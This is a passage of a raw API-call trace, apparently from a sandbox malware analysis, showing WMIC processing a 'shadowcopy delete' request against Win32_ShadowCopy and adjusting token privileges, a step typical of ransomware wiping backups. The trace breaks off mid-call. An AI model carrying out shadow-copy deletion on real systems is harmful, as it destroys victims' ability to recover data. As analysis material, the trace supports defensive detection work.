lstrlenW (lpString="shadowcopy") returned 10 [0038.237] malloc (_Size=0x16) returned 0x38c870 [0038.237] lstrlenW (lpString="shadowcopy") returned 10 [0038.238] GetCurrentThreadId () returned 0xb4c [0038.238] ??0CHString@@QEAA@XZ () returned 0x1cf780 [0038.238] malloc (_Size=0x18) returned 0x38c890 [0038.238] malloc (_Size=0x18) returned 0x38c8b0 [0038.238] WbemLocator:IWbemLocator:ConnectServer (in: This=0x2e1390, strNetworkResource="root\\cli", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0xffa22998 | out: ppNamespace=0xffa22998*=0x2f3a98) returned 0x0 [0038.915] free (_Block=0x38c8b0) [0038.915] free (_Block=0x38c890) [0038.916] CoSetProxyBlanket (pProxy=0x2f3a98, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0038.916] ??1CHString@@QEAA@XZ () returned 0x7fef337482c [0038.916] GetCurrentThreadId () returned 0xb4c [0038.916] ??0CHString@@QEAA@XZ () returned 0x1cf618 [0038.916] malloc (_Size=0x18) returned 0x38c890 [0038.916] malloc (_Size=0x18) returned 0x38c8b0 [0038.916] malloc (_Size=0x18) returned 0x38c8d0 [0038.916] malloc (_Size=0x18) returned 0x38c8f0 [0038.916] SysStringLen (param_1="root\\cli") returned 0x8 [0038.916] SysStringLen (param_1="\\") returned 0x1 [0038.916] malloc (_Size=0x18) returned 0x38c910 [0038.916] SysStringLen (param_1="root\\cli\\") returned 0x9 [0038.916] SysStringLen (param_1="ms_409") returned 0x6 [0038.916] free (_Block=0x38c8f0) [0038.916] free (_Block=0x38c8d0) [0038.917] free (_Block=0x38c8b0) [0038.917] free (_Block=0x38c890) [0038.917] malloc (_Size=0x18) returned 0x38c890 [0038.917] WbemLocator:IWbemLocator:ConnectServer (in: This=0x2e1390, strNetworkResource="root\\cli\\ms_409", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0xffa229a0 | out: ppNamespace=0xffa229a0*=0x2f3b28) returned 0x0 [0038.964] free (_Block=0x38c890) [0038.964] free (_Block=0x38c910) [0038.964] ??1CHString@@QEAA@XZ () returned 0x7fef337482c [0038.964] GetCurrentThreadId () returned 0xb4c [0038.965] ??0CHString@@QEAA@XZ () returned 0x1cf790 [0038.966] malloc (_Size=0x18) returned 0x38c910 [0038.966] malloc (_Size=0x18) returned 0x38c890 [0038.967] malloc (_Size=0x18) returned 0x38c8b0 [0038.967] lstrlenA (lpString="MSFT_CliAlias.FriendlyName='") returned 28 [0038.967] malloc (_Size=0x3a) returned 0x38caa0 [0038.967] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xff9b1980, cbMultiByte=-1, lpWideCharStr=0x38caa0, cchWideChar=29 | out: lpWideCharStr="MSFT_CliAlias.FriendlyName='") returned 29 [0038.967] free (_Block=0x38caa0) [0038.967] malloc (_Size=0x18) returned 0x38c8d0 [0038.967] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='") returned 0x1c [0038.967] SysStringLen (param_1="shadowcopy") returned 0xa [0038.968] malloc (_Size=0x18) returned 0x38c8f0 [0038.968] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='shadowcopy") returned 0x26 [0038.971] SysStringLen (param_1="'") returned 0x1 [0038.971] free (_Block=0x38c8d0) [0038.972] free (_Block=0x38c8b0) [0038.972] free (_Block=0x38c890) [0038.972] free (_Block=0x38c910) [0038.974] IWbemServices:GetObject (in: This=0x2f3a98, strObjectPath="MSFT_CliAlias.FriendlyName='shadowcopy'", lFlags=0, pCtx=0x0, ppObject=0x1cf798*=0x0, ppCallResult=0x0 | out: ppObject=0x1cf798*=0x3004e0, ppCallResult=0x0) returned 0x0 [0039.392] malloc (_Size=0x18) returned 0x38c910 [0039.392] IWbemClassObject:Get (in: This=0x3004e0, wszName="Target", lFlags=0, pVal=0x1cf6c0*(varType=0x0, wReserved1=0xffa2, wReserved2=0x0, wReserved3=0x0, varVal1=0xffa22998, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1cf6c0*(varType=0x8, wReserved1=0xffa2, wReserved2=0x0, wReserved3=0x0, varVal1="Select * from Win32_ShadowCopy", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0039.393] free (_Block=0x38c910) [0039.393] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0039.393] malloc (_Size=0x3e) returned 0x38caa0 [0039.393] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0039.393] malloc (_Size=0x18) returned 0x38c910 [0039.393] IWbemClassObject:Get (in: This=0x3004e0, wszName="PWhere", lFlags=0, pVal=0x1cf6c0*(varType=0x0, wReserved1=0xffa2, wReserved2=0x0, wReserved3=0x0, varVal1=0x3ce078, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1cf6c0*(varType=0x8, wReserved1=0xffa2, wReserved2=0x0, wReserved3=0x0, varVal1=" Where ID = '#'", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0039.393] free (_Block=0x38c910) [0039.393] lstrlenW (lpString=" Where ID = '#'") returned 15 [0039.393] malloc (_Size=0x20) returned 0x38caf0 [0039.393] lstrlenW (lpString=" Where ID = '#'") returned 15 [0039.393] malloc (_Size=0x18) returned 0x38c910 [0039.393] IWbemClassObject:Get (in: This=0x3004e0, wszName="Connection", lFlags=0, pVal=0x1cf6c0*(varType=0x0, wReserved1=0xffa2, wReserved2=0x0, wReserved3=0x0, varVal1=0x41d808, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1cf6c0*(varType=0xd, wReserved1=0xffa2, wReserved2=0x0, wReserved3=0x0, varVal1=0x3009c0, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0039.393] free (_Block=0x38c910) [0039.393] IUnknown:QueryInterface (in: This=0x3009c0, riid=0xff9b7360*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1cf6b0 | out: ppvObject=0x1cf6b0*=0x3009c0) returned 0x0 [0039.393] GetCurrentThreadId () returned 0xb4c [0039.393] ??0CHString@@QEAA@XZ () returned 0x1cf5d8 [0039.393] malloc (_Size=0x18) returned 0x38c910 [0039.393] IWbemClassObject:Get (in: This=0x3009c0, wszName="Namespace", lFlags=0, pVal=0x1cf600*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xff9c738f, varVal2=0x38c910), pType=0x0, plFlavor=0x0 | out: pVal=0x1cf600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x38c910), pType=0x0, plFlavor=0x0) returned 0x0 [0039.394] free (_Block=0x38c910) [0039.394] lstrlenW (lpString="ROOT\\CIMV2") returned 10 [0039.394] malloc (_Size=0x16) returned 0x38c910 [0039.394] lstrlenW (lpString="ROOT\\CIMV2") returned 10 [0039.394] malloc (_Size=0x18) returned 0x38c890 [0039.394] IWbemClassObject:Get (in: This=0x3009c0, wszName="Locale", lFlags=0, pVal=0x1cf600*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x44be78, varVal2=0x38c910), pType=0x0, plFlavor=0x0 | out: pVal=0x1cf600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ms_409", varVal2=0x38c910), pType=0x0, plFlavor=0x0) returned 0x0 [0039.394] free (_Block=0x38c890) [0039.394] lstrlenW (lpString="ms_409") returned 6 [0039.394] malloc (_Size=0xe) returned 0x38c890 [0039.394] lstrlenW (lpString="ms_409") returned 6 [0039.394] malloc (_Size=0x18) returned 0x38c8b0 [0039.394] IWbemClassObject:Get (in: This=0x3009c0, wszName="User", lFlags=0, pVal=0x1cf600*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x44be78, varVal2=0x38c910), pType=0x0, plFlavor=0x0 | out: pVal=0x1cf600*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x44be78, varVal2=0x38c910), pType=0x0, plFlavor=0x0) returned 0x0 [0039.394] free (_Block=0x38c8b0) [0039.394] malloc (_Size=0x18) returned 0x38c8b0 [0039.394] IWbemClassObject:Get (in: This=0x3009c0, wszName="Password", lFlags=0, pVal=0x1cf600*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x44be78, varVal2=0x38c910), pType=0x0, plFlavor=0x0 | out: pVal=0x1cf600*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x44be78, varVal2=0x38c910), pType=0x0, plFlavor=0x0) returned 0x0 [0039.394] free (_Block=0x38c8b0) [0039.394] malloc (_Size=0x18) returned 0x38c8b0 [0039.394] IWbemClassObject:Get (in: This=0x3009c0, wszName="Server", lFlags=0, pVal=0x1cf600*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x44be78, varVal2=0x38c910), pType=0x0, plFlavor=0x0 | out: pVal=0x1cf600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=".", varVal2=0x38c910), pType=0x0, plFlavor=0x0) returned 0x0 [0039.394] free (_Block=0x38c8b0) [0039.394] lstrlenW (lpString=".") returned 1 [0039.394] malloc (_Size=0x4) returned 0x386d90 [0039.394] lstrlenW (lpString=".") returned 1 [0039.394] malloc (_Size=0x18) returned 0x38c8b0 [0039.395] IWbemClassObject:Get (in: This=0x3009c0, wszName="Authority", lFlags=0, pVal=0x1cf600*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x44be78, varVal2=0x38c910), pType=0x0, plFlavor=0x0 | out: pVal=0x1cf600*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x44be78, varVal2=0x38c910), pType=0x0, plFlavor=0x0) returned 0x0 [0039.395] free (_Block=0x38c8b0) [0039.395] ??1CHString@@QEAA@XZ () returned 0x7fef337482c [0039.395] IUnknown:Release (This=0x3009c0) returned 0x1 [0039.395] GetCurrentThreadId () returned 0xb4c [0039.395] ??0CHString@@QEAA@XZ () returned 0x1cf5d8 [0039.395] malloc (_Size=0x18) returned 0x38c8b0 [0039.395] IWbemClassObject:Get (in: This=0x3004e0, wszName="__RELPATH", lFlags=0, pVal=0x1cf600*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x44be78, varVal2=0xd), pType=0x0, plFlavor=0x0 | out: pVal=0x1cf600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="MSFT_CliAlias.FriendlyName=\"ShadowCopy\"", varVal2=0xd), pType=0x0, plFlavor=0x0) returned 0x0 [0039.395] free (_Block=0x38c8b0) [0039.395] malloc (_Size=0x18) returned 0x38c8b0 [0039.395] GetCurrentThreadId () returned 0xb4c [0039.395] ??0CHString@@QEAA@XZ () returned 0x1cf458 [0039.395] ??0CHString@@QEAA@PEBG@Z () returned 0x1cf470 [0039.396] ??0CHString@@QEAA@AEBV0@@Z () returned 0x1cf400 [0039.396] ?Empty@CHString@@QEAAXXZ () returned 0x7fef337482c [0039.396] ?GetData@CHString@@IEBAPEAUCHStringData@@XZ () returned 0x38cb20 [0039.396] ?Find@CHString@@QEBAHPEBG@Z () returned 0x1b [0039.396] ?Left@CHString@@QEBA?AV1@H@Z () returned 0x1cf3c0 [0039.396] ??H@YA?AVCHString@@AEBV0@PEBG@Z () returned 0x1cf408 [0039.396] ??YCHString@@QEAAAEBV0@AEBV0@@Z () returned 0x1cf470 [0039.397] ??1CHString@@QEAA@XZ () returned 0x7a919e01 [0039.397] ??1CHString@@QEAA@XZ () returned 0x7a919e01 [0039.397] ?Mid@CHString@@QEBA?AV1@H@Z () returned 0x1cf3c8 [0039.397] ??4CHString@@QEAAAEBV0@AEBV0@@Z () returned 0x1cf400 [0039.397] ??1CHString@@QEAA@XZ () returned 0x1 [0039.397] ?GetData@CHString@@IEBAPEAUCHStringData@@XZ () returned 0x38cb90 [0039.397] ?Find@CHString@@QEBAHPEBG@Z () returned 0xa [0039.397] ?Left@CHString@@QEBA?AV1@H@Z () returned 0x1cf3c0 [0039.397] ??H@YA?AVCHString@@AEBV0@PEBG@Z () returned 0x1cf408 [0039.397] ??YCHString@@QEAAAEBV0@AEBV0@@Z () returned 0x1cf470 [0039.397] ??1CHString@@QEAA@XZ () returned 0x7a919e01 [0039.397] ??1CHString@@QEAA@XZ () returned 0x7a919e01 [0039.397] ?Mid@CHString@@QEBA?AV1@H@Z () returned 0x1cf3c8 [0039.397] ??4CHString@@QEAAAEBV0@AEBV0@@Z () returned 0x1cf400 [0039.397] ??1CHString@@QEAA@XZ () returned 0x7fef337482c [0039.397] ?GetData@CHString@@IEBAPEAUCHStringData@@XZ () returned 0x7fef3374820 [0039.397] ??1CHString@@QEAA@XZ () returned 0x7fef337482c [0039.397] malloc (_Size=0x18) returned 0x38c8d0 [0039.397] malloc (_Size=0x18) returned 0x38c930 [0039.397] malloc (_Size=0x18) returned 0x38c950 [0039.397] malloc (_Size=0x18) returned 0x38c970 [0039.397] malloc (_Size=0x18) returned 0x38c990 [0039.397] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=") returned 0x3c [0039.397] SysStringLen (param_1="\"Description\",RelPath=\"") returned 0x17 [0039.397] malloc (_Size=0x18) returned 0x38c9b0 [0039.397] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"") returned 0x53 [0039.397] SysStringLen (param_1="MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"") returned 0x29 [0039.398] malloc (_Size=0x18) returned 0x38c9d0 [0039.398] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"") returned 0x7c [0039.398] SysStringLen (param_1="\"") returned 0x1 [0039.398] free (_Block=0x38c9b0) [0039.398] free (_Block=0x38c990) [0039.398] free (_Block=0x38c970) [0039.398] free (_Block=0x38c950) [0039.398] free (_Block=0x38c930) [0039.398] free (_Block=0x38c8d0) [0039.398] IWbemServices:GetObject (in: This=0x2f3b28, strObjectPath="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"\"", lFlags=0, pCtx=0x0, ppObject=0x1cf448*=0x0, ppCallResult=0x0 | out: ppObject=0x1cf448*=0x300a50, ppCallResult=0x0) returned 0x0 [0039.402] malloc (_Size=0x18) returned 0x38c8d0 [0039.402] IWbemClassObject:Get (in: This=0x300a50, wszName="Text", lFlags=0, pVal=0x1cf480*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xffa22ac0, varVal2=0x18), pType=0x0, plFlavor=0x0 | out: pVal=0x1cf480*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x446420*(cDims=0x1, fFeatures=0x180, cbElements=0x8, cLocks=0x0, pvData=0x3cde10, rgsabound=((cElements=0x1, lLbound=0))), varVal2=0x18), pType=0x0, plFlavor=0x0) returned 0x0 [0039.402] free (_Block=0x38c8d0) [0039.402] SafeArrayGetLBound (in: psa=0x446420, nDim=0x1, plLbound=0x1cf460 | out: plLbound=0x1cf460) returned 0x0 [0039.402] SafeArrayGetUBound (in: psa=0x446420, nDim=0x1, plUbound=0x1cf450 | out: plUbound=0x1cf450) returned 0x0 [0039.402] SafeArrayGetElement (in: psa=0x446420, rgIndices=0x1cf444, pv=0x1cf498 | out: pv=0x1cf498) returned 0x0 [0039.402] malloc (_Size=0x18) returned 0x38c8d0 [0039.402] malloc (_Size=0x18) returned 0x38c930 [0039.402] SysStringLen (param_1="Shadow copy management.") returned 0x17 [0039.402] free (_Block=0x38c8d0) [0039.402] IUnknown:Release (This=0x300a50) returned 0x0 [0039.402] free (_Block=0x38c9d0) [0039.402] ??1CHString@@QEAA@XZ () returned 0x7a919e01 [0039.402] ??1CHString@@QEAA@XZ () returned 0x7fef337482c [0039.402] free (_Block=0x38c8b0) [0039.402] ??1CHString@@QEAA@XZ () returned 0x7fef337482c [0039.402] lstrlenW (lpString="Shadow copy management.") returned 23 [0039.402] malloc (_Size=0x30) returned 0x3885c0 [0039.402] lstrlenW (lpString="Shadow copy management.") returned 23 [0039.402] free (_Block=0x38c930) [0039.402] IUnknown:Release (This=0x3004e0) returned 0x0 [0039.403] free (_Block=0x38c8f0) [0039.403] ??1CHString@@QEAA@XZ () returned 0x7fef337482c [0039.403] lstrlenW (lpString="PATH") returned 4 [0039.403] lstrlenW (lpString="delete") returned 6 [0039.403] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="PATH", cchCount2=4) returned 1 [0039.403] lstrlenW (lpString="WHERE") returned 5 [0039.403] lstrlenW (lpString="delete") returned 6 [0039.403] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="WHERE", cchCount2=5) returned 1 [0039.403] lstrlenW (lpString="(") returned 1 [0039.403] lstrlenW (lpString="delete") returned 6 [0039.403] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="(", cchCount2=1) returned 3 [0039.403] lstrlenW (lpString="/") returned 1 [0039.403] lstrlenW (lpString="delete") returned 6 [0039.403] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="/", cchCount2=1) returned 3 [0039.403] lstrlenW (lpString="-") returned 1 [0039.403] lstrlenW (lpString="delete") returned 6 [0039.403] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="-", cchCount2=1) returned 3 [0039.403] malloc (_Size=0x18) returned 0x38c8f0 [0039.403] lstrlenW (lpString="GET") returned 3 [0039.403] lstrlenW (lpString="delete") returned 6 [0039.403] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0039.403] lstrlenW (lpString="LIST") returned 4 [0039.403] lstrlenW (lpString="delete") returned 6 [0039.403] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0039.403] lstrlenW (lpString="SET") returned 3 [0039.403] lstrlenW (lpString="delete") returned 6 [0039.403] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0039.403] lstrlenW (lpString="CREATE") returned 6 [0039.403] lstrlenW (lpString="delete") returned 6 [0039.403] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0039.403] lstrlenW (lpString="CALL") returned 4 [0039.403] lstrlenW (lpString="delete") returned 6 [0039.403] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3 [0039.404] lstrlenW (lpString="ASSOC") returned 5 [0039.404] lstrlenW (lpString="delete") returned 6 [0039.404] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0039.404] lstrlenW (lpString="DELETE") returned 6 [0039.404] lstrlenW (lpString="delete") returned 6 [0039.404] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2 [0039.404] free (_Block=0x38c8f0) [0039.404] lstrlenW (lpString="/") returned 1 [0039.404] lstrlenW (lpString="delete") returned 6 [0039.404] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="/", cchCount2=1) returned 3 [0039.404] lstrlenW (lpString="-") returned 1 [0039.404] lstrlenW (lpString="delete") returned 6 [0039.404] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="-", cchCount2=1) returned 3 [0039.404] lstrlenW (lpString="delete") returned 6 [0039.404] malloc (_Size=0xe) returned 0x38c8f0 [0039.404] lstrlenW (lpString="delete") returned 6 [0039.404] lstrlenW (lpString="GET") returned 3 [0039.404] lstrlenW (lpString="delete") returned 6 [0039.404] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0039.404] lstrlenW (lpString="LIST") returned 4 [0039.404] lstrlenW (lpString="delete") returned 6 [0039.404] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0039.404] lstrlenW (lpString="SET") returned 3 [0039.404] lstrlenW (lpString="delete") returned 6 [0039.404] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0039.404] lstrlenW (lpString="CREATE") returned 6 [0039.404] lstrlenW (lpString="delete") returned 6 [0039.404] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0039.404] lstrlenW (lpString="CALL") returned 4 [0039.404] lstrlenW (lpString="delete") returned 6 [0039.404] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3 [0039.404] lstrlenW (lpString="ASSOC") returned 5 [0039.404] lstrlenW (lpString="delete") returned 6 [0039.404] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0039.405] lstrlenW (lpString="DELETE") returned 6 [0039.405] lstrlenW (lpString="delete") returned 6 [0039.405] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2 [0039.405] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0039.405] malloc (_Size=0x3e) returned 0x38cb20 [0039.405] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0039.405] wcstok (in: _String="Select * from Win32_ShadowCopy", _Delimiter=" ", _Context=0xffffffffffffff80 | out: _String="Select", _Context=0xffffffffffffff80) returned="Select" [0039.405] malloc (_Size=0x18) returned 0x38c930 [0039.405] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x0 | out: _String=0x0, _Context=0x0) returned="*" [0039.405] lstrlenW (lpString="FROM") returned 4 [0039.405] lstrlenW (lpString="*") returned 1 [0039.405] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1 [0039.405] malloc (_Size=0x18) returned 0x38c8b0 [0039.405] free (_Block=0x38c930) [0039.405] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x3b008200780008 | out: _String=0x0, _Context=0x3b008200780008) returned="from" [0039.405] lstrlenW (lpString="FROM") returned 4 [0039.405] lstrlenW (lpString="from") returned 4 [0039.405] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2 [0039.405] malloc (_Size=0x18) returned 0x38c930 [0039.405] free (_Block=0x38c8b0) [0039.405] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x3b008300780008 | out: _String=0x0, _Context=0x3b008300780008) returned="Win32_ShadowCopy" [0039.405] malloc (_Size=0x18) returned 0x38c8b0 [0039.405] free (_Block=0x38c930) [0039.405] free (_Block=0x38cb20) [0039.405] free (_Block=0x38c8b0) [0039.405] lstrlenW (lpString="SET") returned 3 [0039.405] lstrlenW (lpString="delete") returned 6 [0039.405] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0039.406] lstrlenW (lpString="CREATE") returned 6 [0039.406] lstrlenW (lpString="delete") returned 6 [0039.406] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0039.406] free (_Block=0x38c7f0) [0039.406] malloc (_Size=0x8) returned 0x38cb20 [0039.406] lstrlenW (lpString="GET") returned 3 [0039.406] lstrlenW (lpString="delete") returned 6 [0039.406] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0039.406] lstrlenW (lpString="LIST") returned 4 [0039.406] lstrlenW (lpString="delete") returned 6 [0039.406] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0039.406] lstrlenW (lpString="ASSOC") returned 5 [0039.406] lstrlenW (lpString="delete") returned 6 [0039.406] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0039.406] WbemLocator:IUnknown:AddRef (This=0x2e1390) returned 0x3 [0039.406] free (_Block=0x386420) [0039.406] lstrlenW (lpString="") returned 0 [0039.406] lstrlenW (lpString="XDUWTFONO") returned 9 [0039.406] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="", cchCount2=0) returned 3 [0039.406] lstrlenW (lpString="XDUWTFONO") returned 9 [0039.406] malloc (_Size=0x14) returned 0x38c7f0 [0039.406] lstrlenW (lpString="XDUWTFONO") returned 9 [0039.406] GetCurrentThreadId () returned 0xb4c [0039.406] GetCurrentProcess () returned 0xffffffffffffffff [0039.406] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0x1cf820 | out: TokenHandle=0x1cf820*=0x280) returned 1 [0039.406] GetTokenInformation (in: TokenHandle=0x280, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x1cf818 | out: TokenInformation=0x0, ReturnLength=0x1cf818) returned 0 [0039.406] malloc (_Size=0x118) returned 0x38cb40 [0039.406] GetTokenInformation (in: TokenHandle=0x280, TokenInformationClass=0x3, TokenInformation=0x38cb40, TokenInformationLength=0x118, ReturnLength=0x1cf818 | out: TokenInformation=0x38cb40, ReturnLength=0x1cf818) returned 1 [0039.406] AdjustTokenPrivileges (in: TokenHandle=0x280, DisableAllPrivileges=0, NewState=0x38cb40*(PrivilegesCount=0x17, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x9), (Luid.LowPart=0x2, Luid.HighPart=10, Attributes=0x0), (Luid.LowPart=0xb, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0xd), (Luid.LowPart=0x2, Luid.HighPart=14, Attributes=0x0), (Luid.LowPart=0xf, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x12), (Luid.LowPart=0x2, Luid.HighPart=19, Attributes=0x0), (Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x17), (Luid.LowPart=0x3, Luid.HighPart=24, Attributes=0x0), (Luid.LowPart=0x19, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x1d), (Luid.LowPart=0x3, Luid.HighPart=30, Attributes=0x0), (Luid.LowPart=0x21, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x23), (Luid.LowPart=0x2, Luid.HighPart=1318165930, Attributes=0x3e6e), (Luid.LowPart=0x0, Luid.HighPart=3695648, Attributes=0x0), (Luid.LowPart=0x22, Luid.HighPart=905970485, Attributes=0x3e79), (Luid.LowPart=0x0, Luid.HighPart=3670360, Attributes=0x0), (Luid.LowPart=0x0, Luid.HighPart=0, Attributes=0x0), (Luid.LowPart=0x0, Luid.HighPart=0, Attributes=0x0))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0039.406] free (_Block=0x38cb40) [0039.406] CloseHandle (hObject=0x280) returned 1 [0039.407] lstrlenW (lpString="GET") returned 3 [0039.407] lstrlenW (lpString="delete") returned 6 [0039.407] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0039.407] lstrlenW (lpString="LIST") returned 4 [0039.407] lstrlenW (lpString="delete") returned 6 [0039.407] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0039.407] lstrlenW (lpString="SET") returned 3 [0039.407] lstrlenW (lpString="delete") returned 6 [0039.407] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0039.407] lstrlenW (lpString="CALL") returned 4 [0039.407] lstrlenW (lpString="delete") returned 6 [0039.407] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", 